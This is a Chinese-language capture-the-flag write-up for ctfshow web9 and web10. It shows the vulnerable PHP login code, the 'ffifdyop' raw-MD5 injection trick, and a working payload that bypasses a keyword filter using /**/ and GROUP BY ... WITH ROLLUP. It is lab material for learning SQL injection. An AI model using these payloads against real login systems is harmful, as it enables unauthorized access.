ctfshow_web
in 默认分类 with 0 comment
ctfshow_web
in 默认分类 with 0 comment

web9

首先查看网站,很可能是Sql注入,
先尝试弱口令和万能密码,发现无法登录,大概率是被过滤了
之后我们用御剑扫一下
2024-05-21T11:32:36.png
打开https://67764fb6-6ed1-48f6-997a-afac349479de.challenge.ctf.show/robots.txt得到

/index.phps

重要信息
2024-05-21T11:37:00.png

输入https://67764fb6-6ed1-48f6-997a-afac349479de.challenge.ctf.show/index.phps得到源代码信息

<?php
        $flag="";
        $password=$_POST['password'];
        if(strlen($password)>10){
            die("password error");
        }
        $sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
        $result=mysqli_query($con,$sql);
            if(mysqli_num_rows($result)>0){
                    while($row=mysqli_fetch_assoc($result)){
                         echo "登陆成功<br>";
                         echo $flag;
                     }
            }
    ?>

ffifdyop 的MD5加密结果是 276f722736c95d99e921722cf9ed621c
经过MySQL编码后会变成'or'6xxx,使SQL恒成立,相当于万能密码,可以绕过md5()函数的加密
登录成功
2024-05-21T11:48:27.png

web10

题目提示:1.点取消,得源码 2. 虚拟表绕过
2024-05-21T11:52:53.png
整体框架与上一题类似
于是先点击“取消”按钮,果然拿到源码2024-05-21T11:54:33.png

<?php
    $flag="";
    function replaceSpecialChar($strParam){
         $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
         return preg_replace($regex,"",$strParam);
    }
    if (!$con)
    {
        die('Could not connect: ' . mysqli_error());
    }
    if(strlen($username)!=strlen(replaceSpecialChar($username))){
        die("sql inject error");
    }
    if(strlen($password)!=strlen(replaceSpecialChar($password))){
        die("sql inject error");
    }
    $sql="select * from user where username = '$username'";
    $result=mysqli_query($con,$sql);
        if(mysqli_num_rows($result)>0){
                while($row=mysqli_fetch_assoc($result)){
                    if($password==$row['password']){
                        echo "登陆成功<br>";
                        echo $flag;
                    }

                 }
        }
?>

可以看到源码中过滤字段,$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
当然如果只有上面一条限制情况,我们一般通过双写绕过来处理
双写绕过

当key被过滤掉时,剩下的字符自动拼接在一起,就形成了key
但是源码中,
if(strlen($username)!=strlen(replaceSpecialChar($username))){
            die("sql inject error");
        }
        if(strlen($password)!=strlen(replaceSpecialChar($password))){
            die("sql inject error");

击碎了我的幻想,于是在网上搜寻资料

介绍一下两个sql语句:

  1. group by:对进行查询的结果进行分组。group by后跟什么,就按什么分组

2.with rollup:group by 后可以跟with rollup,表示在进行分组统计的基础上再次进行汇总统计。

过滤空格的话用/**/进行绕过就行
payload: username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=
2024-05-21T12:07:40.png
登录成功!

Responses